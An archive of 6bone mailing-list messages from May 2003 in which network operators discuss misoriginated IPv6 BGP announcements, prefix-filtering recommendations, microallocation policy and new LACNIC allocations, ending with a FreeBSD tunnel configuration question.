2001:200:202:f::/64   3ffe:81d0:ffff:2::28 1000   6939  6939 3549 2915
2713 4682 10017  unknown

This just shows how badly aggregation and filtering is done in the IPv6
world.
Also note that the /64's are marked as coming from 'unknown' instead of
IGP.

So who is to blame here? Nobody, you are allowed to set up your own
policies.
It's your own network and if you care for it or not, alas...
The bad part is that if everybody starts announcing (and not
aggregating) their
announcements, the routing table will explode.

"Admins" should be reading and applying:
Minimal IPv6 Peering (*1) by Robert Kießling 
Moving from 6bone to IPv6 Internet (*2) by Pekka Savola.

Also I think that it is much worse that people don't even notice
that their own address space is announced doubly/oddly etc or that
it is ghosted without their knowledge.

Greets,
 Jeroen

*1 = http://ip6.de.easynet.net/ipv6-minimum-peering.txt
*2 =
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt


From mclin@sinica.edu.tw Sun May 11 20:55:40 2003
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To: <6bone@mailman.isi.edu>, "Hank Nussbacher" <hank@att.net.il>
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Subject: Re: [6bone] Dualing IPv6 announcements
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This is for upgraded purpose.
You can see when sTLA upgrade from /35 to /32, they will
announce these two prefix in case lost their IPv6 block during
the upgrade period.

Ethern
ASCC/TW

----- Original Message ----- 
From: "Hank Nussbacher" <hank@att.net.il>
To: <6bone@mailman.isi.edu>
Sent: Sunday, May 11, 2003 5:15 PM
Subject: [6bone] Dualing IPv6 announcements


> BT and JPNIC/WIDE are both announcing these prefixes:
>
> mcast#sho bgp ipv6 inc
> BGP table version is 479, local router ID is 192.114.99.52
> Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
> Origin codes: i - IGP, e - EGP, ? - incomplete
>
>     Network          Next Hop            Metric LocPrf Weight Path
> *  2001:200::/35    3FFE:2000:0:41D::22F
>                                                             0 559 6830
1752 ?
> *>                  2001:798:2020:10DD::1
>                                                             0 20965 11537
> 2500 i
> *  2001:200::/32    3FFE:2000:0:41D::22F
>                                                             0 559 6830
1752 ?
> *>                  2001:798:2020:10DD::1
>                                                             0 20965 11537
> 2500 i
>
> It looks like WIDE does "own" this:
> inet6num:     2001:200::/32
> netname:      WIDE-JP-19990813
> descr:        WIDE project
> country:      JP
> remarks:      upgraded from /35
> admin-c:      JM46-AP
> tech-c:       AK27-AP
> tech-c:       KN9-AP
> status:       ALLOCATED PORTABLE
> notify:       kato@wide.ad.jp
> notify:       kenken@sfc.wide.ad.jp
> mnt-by:       APNIC-HM
> mnt-lower:    MAINT-JP-WIDE
> changed:      hm-changed@apnic.net 20030423
> source:       APNIC
> so the question is why is BT announcing this and how come prefix filters
> aren't stopping this?
>
> -Hank
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From andyf@penfold.noc.clara.net Sun May 11 23:37:54 2003
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From: Andy Furnell <andy@ipng.org.uk>
To: Marc Hultquist <hultq@iafrica.com>
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On Sat, May 10, 2003 at 12:43:38PM +0200, Marc Hultquist wrote:
> 
> 
> I have to Agree with John on this Matter. IF the providers would be 
> good enough to Filter the customers responsability, then there would
> not be a problem now would there?
> 

This is a nice idea, but given that there's no IPv6 routing registry,
the administrative overhead of manually generating filters can get
seriously cumbersome (especially given that IPv6 efforts for most
providers still seem to be done on a part-time basis). Granted any AS
transiting another should apply suitable filters, but filtering peering
routes and/or those heard from transit upstreams with suitable
granularity to prevent BGP hijacking is a problem when the
infrastructure is not in place do automate the process.

Just my 2c :)

A

-- 
Andy Furnell
andy@ipng.org.uk

From gert@Space.Net Mon May 12 00:56:55 2003
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To: Ethern Lin <mclin@sinica.edu.tw>
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Subject: Re: [6bone] Dualing IPv6 announcements
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hi,

On Mon, May 12, 2003 at 11:55:31AM +0800, Ethern Lin wrote:
> This is for upgraded purpose.
> You can see when sTLA upgrade from /35 to /32, they will
> announce these two prefix in case lost their IPv6 block during
> the upgrade period.

It's understood why there is both the /35 and the /32.  *That* part is clear.

It's unclear why the two prefixes are announced by two different origin
ASes (1752 and 11537).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Mon May 12 01:24:50 2003
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Hi,

I have just added an update to the "strict" filter list of my IPv6 filter
list recommendations on http://www.space.net/~gert/RIPE/ipv6-filters.html

The new thing is that inside 2001:500::/29, the "strict" list is now
permitting /48s.  This is because 2001:500:: is used for ARIN 
microallocations, and /48s are the "normal" allocation boundary in there.

Two networks are already announced from within that block, 2001:500::/48
and 2001:500:1::/48, and some ISPs promtly can't reach them due to 
too tight filtering.   

So if you filter very strictly, please adapt your filters for that block.

(Thanks to Carlos Friacas for pointing that out to me).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Mon May 12 01:40:44 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Gert Doering <gert@space.net>
cc: 6bone@mailman.isi.edu, <ipv6-wg@ripe.net>
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On Mon, 12 May 2003, Gert Doering wrote:
> I have just added an update to the "strict" filter list of my IPv6 filter
> list recommendations on http://www.space.net/~gert/RIPE/ipv6-filters.html
> 
> The new thing is that inside 2001:500::/29, the "strict" list is now
> permitting /48s.  This is because 2001:500:: is used for ARIN 
> microallocations, and /48s are the "normal" allocation boundary in there.
> 
> Two networks are already announced from within that block, 2001:500::/48
> and 2001:500:1::/48, and some ISPs promtly can't reach them due to 
> too tight filtering.   
> 
> So if you filter very strictly, please adapt your filters for that block.

There is a danger that this uncoordinated madness will spread.  There has
been a proposal to extend the microallocation policy, but luckily enough
it has been shot down.

IMO, you should only let in 2001:500::/32 upto /48 if you really have to,
and not the other blocks in the /29 (especially, don't let through
exchange point addresses, under 2001:504::/32). Please refer to:  
http://www.arin.net/registration/ipv6/micro_alloc.html

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From gert@Space.Net Mon May 12 03:18:17 2003
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Hi,

On Mon, May 12, 2003 at 11:40:30AM +0300, Pekka Savola wrote:
> > The new thing is that inside 2001:500::/29, the "strict" list is now
> > permitting /48s.  This is because 2001:500:: is used for ARIN 
> > microallocations, and /48s are the "normal" allocation boundary in there.
[..]
> There is a danger that this uncoordinated madness will spread.  

I didn't imply that I *like* this microallocation policy - I think it's
the wrong way to go.  We have a root name server policy, and the individual
regions should not do "other" microallocations, especially not for the
root.

Nevertheless it is happening, and I am just documenting things (right
now).

> There has
> been a proposal to extend the microallocation policy, but luckily enough
> it has been shot down.

Could you give me some more background on that?  What was the proposal,
and why was it shot down?

> IMO, you should only let in 2001:500::/32 upto /48 if you really have to,
> and not the other blocks in the /29 (especially, don't let through
> exchange point addresses, under 2001:504::/32). Please refer to:  
> http://www.arin.net/registration/ipv6/micro_alloc.html

Thanks for pointing that out to me.  I will update my documentation 
accordingly. (*done*)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Mon May 12 03:28:52 2003
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On Mon, May 12, 2003 at 11:40:30AM +0300, Pekka Savola wrote:
> 
> There is a danger that this uncoordinated madness will spread.  There has
> been a proposal to extend the microallocation policy, but luckily enough
> it has been shot down.

Indeed.  There is a danger that once some exceptions are made, others will
follow...

Tim

From pekkas@netcore.fi Mon May 12 03:35:35 2003
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On Mon, 12 May 2003, Gert Doering wrote:
> > There has
> > been a proposal to extend the microallocation policy, but luckily enough
> > it has been shot down.
> 
> Could you give me some more background on that?  What was the proposal,
> and why was it shot down?

Proposal:

http://www.arin.net/policy/2003_4.html

There are numerous problems with the proposal, even though it may have 
been well-intentioned:
 
 1) waiving 200 /48 assignments could enable any 1-person consulting 
business with 1 customer to get a /32

 2) micro-allocations are useless unless they're routed, and there is no 
community concensus that they're the right thing to do at the moment.

 3) there kinds of policy changes should occur on a different level, like 
global-v6 mailing list and/or the IETF, not just one RIR.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From hank@att.net.il Mon May 12 07:41:56 2003
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At 09:56 AM 12-05-03 +0200, Gert Doering wrote:

Being looked into by BT offline.  Does the group care to hear the results?

-Hank

>hi,
>
>On Mon, May 12, 2003 at 11:55:31AM +0800, Ethern Lin wrote:
> > This is for upgraded purpose.
> > You can see when sTLA upgrade from /35 to /32, they will
> > announce these two prefix in case lost their IPv6 block during
> > the upgrade period.
>
>It's understood why there is both the /35 and the /32.  *That* part is clear.
>
>It's unclear why the two prefixes are announced by two different origin
>ASes (1752 and 11537).
>
>Gert Doering
>         -- NetMaster
>--
>Total number of prefixes smaller than registry allocations:  54495  (54267)
>
>SpaceNet AG                 Mail: netmaster@Space.Net
>Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
>80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Mon May 12 08:03:34 2003
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> Pekka Savola wrote:
> There is a danger that this uncoordinated madness will spread.

Indeed it _is_ spreading already. I get a bunch of /64s, /48s, any kind
of prefix if you can name it I get it already from some peering in North
America when I drop my filters.

> There has been a proposal to extend the microallocation policy,
> but luckily enough it has been shot down.

Fortunately it has although we can expect that there will be more tries.
I will stay on the line of filtering anything that has not been approved
by all 4 RIRs (LATNIC is live I hear).

Michel.


From jeroen@unfix.org Mon May 12 10:07:48 2003
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Hank Nussbacher wrote:

> At 09:56 AM 12-05-03 +0200, Gert Doering wrote:
> 
> Being looked into by BT offline.  Does the group care to hear 
> the results?

Any insight is always a good thing, maybe they had a very special
reason for doing so and maybe we can learn something from it.

Greets,
 Jeroen

> >On Mon, May 12, 2003 at 11:55:31AM +0800, Ethern Lin wrote:
> > > This is for upgraded purpose.
> > > You can see when sTLA upgrade from /35 to /32, they will
> > > announce these two prefix in case lost their IPv6 block during
> > > the upgrade period.
> >
> >It's understood why there is both the /35 and the /32.  
> *That* part is clear.
> >
> >It's unclear why the two prefixes are announced by two 
> different origin
> >ASes (1752 and 11537).
> >
> >Gert Doering
> >         -- NetMaster
> >--
> >Total number of prefixes smaller than registry allocations:  
> 54495  (54267)
> >
> >SpaceNet AG                 Mail: netmaster@Space.Net
> >Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> >80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From gert@Space.Net Mon May 12 11:12:24 2003
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Hi,

On Mon, May 12, 2003 at 08:03:40AM -0700, Michel Py wrote:
> Fortunately it has although we can expect that there will be more tries.
> I will stay on the line of filtering anything that has not been approved
> by all 4 RIRs (LATNIC is live I hear).

LACNIC has allocated to /32s, as far as I can see.  One is already
visible (2001:1200::/32).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Mon May 12 11:23:57 2003
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Hi,

On Mon, May 12, 2003 at 01:35:25PM +0300, Pekka Savola wrote:
> Proposal:
> 
> http://www.arin.net/policy/2003_4.html

Ah, that one.

Actually like the first two proposals.

Micro-Allocations are genuinely evil, though.

> There are numerous problems with the proposal, even though it may have 
> been well-intentioned:
>  
>  1) waiving 200 /48 assignments could enable any 1-person consulting 
> business with 1 customer to get a /32

This has come up in the RIPE region a while ago already (1.5 years?) 
and my response at that time was "so what?".  In the RIPE region (which
is different from ARIN), being sufficiently determined to wade through
the paperwork, sign all the RIPE member contracts and pay the LIR fees
could be considered enough prerequisite to get a /32.

People didn't like that, though - as far as I remember, the loudest
criticism came from the ARIN land.

>  2) micro-allocations are useless unless they're routed, and there is no 
> community concensus that they're the right thing to do at the moment.

Micro-Allocations are *bad*.

I can see two exceptions that can be clearly defined and are really
"exceptionable enough" (and not "just convenient") - that's IXPs, and
root name servers.  We have policies for those.

All other Micro-Allocations boil down to inventing PI in one region
only.

>  3) there kinds of policy changes should occur on a different level, like 
> global-v6 mailing list and/or the IETF, not just one RIR.

Yep.  But still I think that something needs to be done...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tvo@EnterZone.Net Mon May 12 12:18:16 2003
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From: John Fraizer <tvo@EnterZone.Net>
To: Andy Furnell <andy@ipng.org.uk>
cc: Marc Hultquist <hultq@iafrica.com>, 6Bone <6bone@mailman.isi.edu>
Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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On Mon, 12 May 2003, Andy Furnell wrote:

> On Sat, May 10, 2003 at 12:43:38PM +0200, Marc Hultquist wrote:
> > 
> > 
> > I have to Agree with John on this Matter. IF the providers would be 
> > good enough to Filter the customers responsability, then there would
> > not be a problem now would there?
> > 
> 
> This is a nice idea, but given that there's no IPv6 routing registry,
> the administrative overhead of manually generating filters can get
> seriously cumbersome (especially given that IPv6 efforts for most
> providers still seem to be done on a part-time basis). Granted any AS
> transiting another should apply suitable filters, but filtering peering
> routes and/or those heard from transit upstreams with suitable
> granularity to prevent BGP hijacking is a problem when the
> infrastructure is not in place do automate the process.
> 
> Just my 2c :)
> 
> A

Andy,

Filtering on the transitAS<->transitAS side of things will always be
painful and for most decent sized networks, it is not something that
happens, even in the v4 world.

Filtering "customer" or "customer-like" peering sessions is a different
story though.  If someone "doesn't have time" to implement responsible
filtering on their customer sessions, they shouldn't IMNSHO be speaking
BGP to begin with.

With appropriate "customer" filters in place on the customer-facing edge,
border filters on the peering border are something that in most cases are
not needed.  

If someone "leaks" something to us once, we will help them establish
appropriate policy to prevent future "leaks."  If they do it twice, they
face the wrath of "neighbor [x.x.x.x|xx:xx:xx:xx] shutdown" on our
side.  It tends to get them thinking in a more responsible manner and if
NOT, they're not the kind of peer we wish to interact with.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gert Doering'" <gert@space.net>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
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Gert Doering wrote:

> On Mon, May 12, 2003 at 08:03:40AM -0700, Michel Py wrote:
> > Fortunately it has although we can expect that there will 
> be more tries.
> > I will stay on the line of filtering anything that has not 
> been approved
> > by all 4 RIRs (LATNIC is live I hear).
> 
> LACNIC has allocated to /32s, as far as I can see.  One is already
> visible (2001:1200::/32).

Grmbl, those don't show up in http://www.ripe.net/ipv6/ipv6allocs.html
:(
Okay going to fix up the bogon filter so I will at least catch them on
sight.

http://www.sixxs.net/tools/grh/tla/lacnic/ :
2001:1200::/32 - 2002-12-19 - visible
2001:1208::/32 - 2003-02-03 - not visible

Btw, we can have a small party I think:
http://www.sixxs.net/tools/grh/tla/ now reads:
8<-----------------------------
Prefix Length distribution
The following prefixlengths are delegated by the above RIR's.

58x /24 
56x /28 
336x /32 
50x /35 
Totaling in 500 TLA prefixes.
------------------------------>8

500 TLA's over 54 countries!

Also see http://www.sixxs.net/tools/grh/growth/
Graphs based on RIR's and a legend coming up ;)

Greets,
 Jeroen


From hultq@iafrica.com Sun May 11 01:28:44 2003
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Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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I have to take my comments back on the sa being a long way off on the IPV6
scene.
It was stupid and as was pointed out to me by someone I was completly in the
wrong
in my comments.

Therefore I would just like to say sorry etc etc about any previous comments
or statements
I made.

--
 Marc Hultquist
 Polykarbon South Africa CEO
 marc@polykarbon.co.za
 +27 82 549-5467 / +27 11 465-6515
 http://www.polykarbon.co.za
 General Enquiries: info@polykarbon.co.za
----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Marc Hultquist'" <hultq@iafrica.com>; "'6Bone'"
<6bone@mailman.isi.edu>
Sent: Saturday, May 10, 2003 3:25 PM
Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP
Hijacking


Marc Hultquist wrote:

> I have to Agree with John on this Matter. IF the providers would be
> good enough to Filter the customers responsability, then there would
> not be a problem now would there?

The Lazy Admin Problem(tm) :)

> Living in South Africa, IPV6 is still a long way off but then again

Why would IPv6 we be a long way off ?

Okay let's test my geography <grin>
From http://www.sixxs.net/tools/grh/tla/all/?country=africa

It appears that there are currently

2001:528::/32 TELKOMSAV6
2001:588::/32 UU-IPV6-1-ZA
2001:8f8::/32 AE-EMIRNET-20020920
2001:970::/32 TN-ATI-20021024

2001:528::/32 & 2001:8f8::/32 have not been detected by GRH though
the other 2 are visible. It's not much but it is something.
Africa probably needs even more IPv6 advocacy than the US :)

Greets,
 Jeroen





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Subject: Re: [6bone] Dualing IPv6 announcements
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Hi Hank

Its not very unusal having multiple paths.
But,
I have no idea of if thats their intention.
You can always ask WIDE...

joergen

----- Original Message ----- 
From: "Hank Nussbacher" <hank@att.net.il>
To: <6bone@mailman.isi.edu>
Sent: Sunday, May 11, 2003 11:15 AM
Subject: [6bone] Dualing IPv6 announcements


> BT and JPNIC/WIDE are both announcing these prefixes:
>
> mcast#sho bgp ipv6 inc
> BGP table version is 479, local router ID is 192.114.99.52
> Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
> Origin codes: i - IGP, e - EGP, ? - incomplete
>
>     Network          Next Hop            Metric LocPrf Weight Path
> *  2001:200::/35    3FFE:2000:0:41D::22F
>                                                             0 559 6830
1752 ?
> *>                  2001:798:2020:10DD::1
>                                                             0 20965 11537
> 2500 i
> *  2001:200::/32    3FFE:2000:0:41D::22F
>                                                             0 559 6830
1752 ?
> *>                  2001:798:2020:10DD::1
>                                                             0 20965 11537
> 2500 i
>
> It looks like WIDE does "own" this:
> inet6num:     2001:200::/32
> netname:      WIDE-JP-19990813
> descr:        WIDE project
> country:      JP
> remarks:      upgraded from /35
> admin-c:      JM46-AP
> tech-c:       AK27-AP
> tech-c:       KN9-AP
> status:       ALLOCATED PORTABLE
> notify:       kato@wide.ad.jp
> notify:       kenken@sfc.wide.ad.jp
> mnt-by:       APNIC-HM
> mnt-lower:    MAINT-JP-WIDE
> changed:      hm-changed@apnic.net 20030423
> source:       APNIC
> so the question is why is BT announcing this and how come prefix filters
> aren't stopping this?
>
> -Hank
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From sekiya@wide.ad.jp Sun May 11 21:53:24 2003
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From: Yuji Sekiya <sekiya@wide.ad.jp>
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At Mon, 12 May 2003 11:55:31 +0800,
Ethern Lin <mclin@sinica.edu.tw> wrote:

Hello,
This is Yuji Sekiya, WIDE Project.

No, Hank might mean both of 2001:200::/32 and 2001:200::/35 prefixes are
advertised from AS1752(BT). The prefixes are ours and AS1752 should
not originate the prefixes. 

I can see there bugos prefixes on the below looking glass.
http://nitrous.cmh.ipv6.enterzone.net/
If AS1752 advertises the prefixes, please stop it.


BGP routing table entry for 2001:200::/35

  25396 25396 25396 1752
    3ffe:4005:0:1::26 from 3ffe:4005:0:1::26 (62.24.229.1)
      Origin incomplete, localpref 100, valid, external
      Community: 25396:1 25396:20 25396:300 25396:800 25396:1000 25396:8003 25396:8503
      Last update: Tue May  6 09:47:43 2003

  25396 25396 25396 1752
    3ffe:4005:0:3::26 from 3ffe:4005:0:3::26 (195.22.134.2)
      Origin incomplete, localpref 100, valid, external
      Community: 25396:1 25396:20 25396:300 25396:800 25396:1000 25396:8003 25396:8503
      Last update: Tue May  6 09:47:48 2003

Regards,

-- Yuji Sekiya


> This is for upgraded purpose.
> You can see when sTLA upgrade from /35 to /32, they will
> announce these two prefix in case lost their IPv6 block during
> the upgrade period.
> 
> Ethern
> ASCC/TW
> 
> ----- Original Message ----- 
> From: "Hank Nussbacher" <hank@att.net.il>
> To: <6bone@mailman.isi.edu>
> Sent: Sunday, May 11, 2003 5:15 PM
> Subject: [6bone] Dualing IPv6 announcements
> 
> 
> > BT and JPNIC/WIDE are both announcing these prefixes:
> >
> > mcast#sho bgp ipv6 inc
> > BGP table version is 479, local router ID is 192.114.99.52
> > Status codes: s suppressed, d damped, h history, * valid, > best, i -
> internal
> > Origin codes: i - IGP, e - EGP, ? - incomplete
> >
> >     Network          Next Hop            Metric LocPrf Weight Path
> > *  2001:200::/35    3FFE:2000:0:41D::22F
> >                                                             0 559 6830
> 1752 ?
> > *>                  2001:798:2020:10DD::1
> >                                                             0 20965 11537
> > 2500 i
> > *  2001:200::/32    3FFE:2000:0:41D::22F
> >                                                             0 559 6830
> 1752 ?
> > *>                  2001:798:2020:10DD::1
> >                                                             0 20965 11537
> > 2500 i
> >
> > It looks like WIDE does "own" this:
> > inet6num:     2001:200::/32
> > netname:      WIDE-JP-19990813
> > descr:        WIDE project
> > country:      JP
> > remarks:      upgraded from /35
> > admin-c:      JM46-AP
> > tech-c:       AK27-AP
> > tech-c:       KN9-AP
> > status:       ALLOCATED PORTABLE
> > notify:       kato@wide.ad.jp
> > notify:       kenken@sfc.wide.ad.jp
> > mnt-by:       APNIC-HM
> > mnt-lower:    MAINT-JP-WIDE
> > changed:      hm-changed@apnic.net 20030423
> > source:       APNIC
> > so the question is why is BT announcing this and how come prefix filters
> > aren't stopping this?
> >
> > -Hank
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From tvo@EnterZone.Net Mon May 12 12:28:23 2003
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To: Tim Chown <tjc@ecs.soton.ac.uk>
cc: Pekka Savola <pekkas@netcore.fi>, Gert Doering <gert@space.net>,
   6bone@mailman.isi.edu, ipv6-wg@ripe.net
Subject: Re: [6bone] Re: [ipv6-wg@ripe.net] Update on IPv6 filter recommendation
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On Mon, 12 May 2003, Tim Chown wrote:

> On Mon, May 12, 2003 at 11:40:30AM +0300, Pekka Savola wrote:
> > 
> > There is a danger that this uncoordinated madness will spread.  There has
> > been a proposal to extend the microallocation policy, but luckily enough
> > it has been shot down.
> 
> Indeed.  There is a danger that once some exceptions are made, others will
> follow...
> 
> Tim


I don't think that an exception should be made for microallocations at
all.  To paraphrase what ARIN says, there is no guarantee that address
space that they assign will be globally routable.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From cmartinez@protel.net.mx Mon May 12 12:28:55 2003
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To: Gert Doering <gert@space.net>,
   Michel Py
	 <michel@arneill-py.sacramento.ca.us>
Cc: 6bone@mailman.isi.edu
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Right!
We Have now Working this 2001:1200::/32 with As 16531  
We made the change ::/35 to ::/32 some months ago,


__________________________
Operadora Protel S.A. C.V 
Carlos A. Martínez Arce 
Transporte IP 
Tel.- +52 55 53290926 
www.protel.net.mx



-----Mensaje original-----
De: Gert Doering [mailto:gert@space.net]
Enviado el: Lunes, 12 de Mayo de 2003 12:12 p.m.
Para: Michel Py
CC: 6bone@mailman.isi.edu
Asunto: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter
recommendation


Hi,

On Mon, May 12, 2003 at 08:03:40AM -0700, Michel Py wrote:
> Fortunately it has although we can expect that there will be more tries.
> I will stay on the line of filtering anything that has not been approved
> by all 4 RIRs (LATNIC is live I hear).

LACNIC has allocated to /32s, as far as I can see.  One is already
visible (2001:1200::/32).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299

_______________________________________________
6bone mailing list
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From gert@Space.Net Mon May 12 12:33:16 2003
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Hi,

On Mon, May 12, 2003 at 09:27:04PM +0200, Jeroen Massar wrote:
> > LACNIC has allocated to /32s, as far as I can see.  One is already
> > visible (2001:1200::/32).
> 
> Grmbl, those don't show up in http://www.ripe.net/ipv6/ipv6allocs.html
> :(

No (database mirroring issue).  RIPE people know about it and are working
on it.

> Okay going to fix up the bogon filter so I will at least catch them on
> sight.

:)

> http://www.sixxs.net/tools/grh/tla/lacnic/ :
> 2001:1200::/32 - 2002-12-19 - visible
> 2001:1208::/32 - 2003-02-03 - not visible

Yup :)

> http://www.sixxs.net/tools/grh/tla/ now reads:
> 8<-----------------------------
> Prefix Length distribution
> The following prefixlengths are delegated by the above RIR's.
> 
> 58x /24 
> 56x /28 
> 336x /32 
> 50x /35 
> Totaling in 500 TLA prefixes.
> ------------------------------>8
> 
> 500 TLA's over 54 countries!

Oh, wow.  Very impressive, this!

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Mon May 12 14:23:56 2003
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Subject: Re: [6bone] Re: [ipv6-wg@ripe.net] Update on IPv6 filter recommendation
In-Reply-To: <Pine.LNX.4.44.0305121330150.5832-100000@netcore.fi> from Pekka Savola at "May 12, 3 01:35:25 pm"
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%  1) waiving 200 /48 assignments could enable any 1-person consulting 
% business with 1 customer to get a /32

	that might be an issue.

%  2) micro-allocations are useless unless they're routed, and there is no 
% community concensus that they're the right thing to do at the moment.

	routed to whom?  I may have no desire to have you hear my routes
	
%  3) there kinds of policy changes should occur on a different level, like 
% global-v6 mailing list and/or the IETF, not just one RIR.

	there is this fundamental logic flaw that there is a single 
	global routing system.  there is not and never has been.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From michel@arneill-py.sacramento.ca.us Mon May 12 19:55:33 2003
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> Gert Doering wrote:
> Micro-Allocations are *bad*.

If they end up in the Global Routing Table, yes they are.


> I can see two exceptions that can be clearly defined and are
> really "exceptionable enough" (and not "just convenient") -
> that's IXPs, and root name servers.  We have policies for
> those.

Root name servers, no doubt. For IXPs, I do understand and support the
need for micro-allocations but I am not convinced that they need to be
announced in the GRT.

> All other Micro-Allocations boil down to inventing PI
> in one region only.

Thank you.

Michel.


From hank@att.net.il Mon May 12 21:56:46 2003
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Here is BT's response (the problem has now disappeared):

>Dear All,
>
>We are very sorry for causing this problem today.  Our router was
>miss-configured and resulted in this error, unfortunately I had to
>attend a funeral today and only picked up this mail this evening, and
>quickly resolved the problem.  All should be OK now, but if not please
>send a mail to info@uk6x.com where it will be picked up in a more timely
>manner.
>
>Once again we apologise for the error, and problems it caused.
>
>Regards,
>Stuart

-Hank

>Hi,
>
>On Mon, May 12, 2003 at 05:40:07PM +0200, Hank Nussbacher wrote:
> > Being looked into by BT offline.  Does the group care to hear the results?


From andyf@penfold.noc.clara.net Mon May 12 23:58:36 2003
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From: Andy Furnell <andy@ipng.org.uk>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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On Mon, May 12, 2003 at 03:17:36PM -0400, John Fraizer wrote:
> 
> Andy,
> 
> Filtering on the transitAS<->transitAS side of things will always be
> painful and for most decent sized networks, it is not something that
> happens, even in the v4 world.
 
Maybe not in the states, but RIPE NCC seem to be pushing very hard to
have people make full use of the routing registries available. It may be
impractical (and unecessary) for Tier 1s peering with each other to
filter routes with such granularity, but there are plenty of other ISPs
further down the food chain who filter down to individual
prefixes/as-paths for their peers as well as their customers; filters
which have served them well to protect not only their network but The
Internet community at large.

> Filtering "customer" or "customer-like" peering sessions is a different
> story though.  If someone "doesn't have time" to implement responsible
> filtering on their customer sessions, they shouldn't IMNSHO be speaking
> BGP to begin with.

Apologies if my mail came across in the wrong way. I wasn't implying
that people shouldn't filter customer routes... totally the opposite.
 
> With appropriate "customer" filters in place on the customer-facing edge,
> border filters on the peering border are something that in most cases are
> not needed.  

In a perfect world this would be true. But mistakes do happen, and IME
if you don't want these mistakes to affect you, you need to filter
everywhere possible. It also encourages your peers to keep their
information current in a routing registry, which in turn makes it much
easier to verify information you can see from a given AS.

> If someone "leaks" something to us once, we will help them establish
> appropriate policy to prevent future "leaks."  If they do it twice, they
> face the wrath of "neighbor [x.x.x.x|xx:xx:xx:xx] shutdown" on our
> side.  It tends to get them thinking in a more responsible manner and if
> NOT, they're not the kind of peer we wish to interact with.

Sure, but can we at least agree that a routing registry for IPv6
prefixes would make this job a little easier? :)

-- 
Andy Furnell
andy@ipng.org.uk

From johann@broadpark.no Tue May 13 05:52:46 2003
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 .:. Hello!

	I was wondering if anybody could tell me what's wrong with this
	configuration, and perhaps, if there has come any new documents
	for FreeBSD explaining a basic IPv6 tunnel setup.

	-
	# IPv6 NETWORK CONFIGURATION
	#
	gif_interfaces="gif0"
	gifconfig_gif0="213.187.181.70 192.16.124.2"
	ipv6_enable="YES"
	ipv6_gateway_enable="YES"
	ipv6_defaultrouter="-interface gif0" 
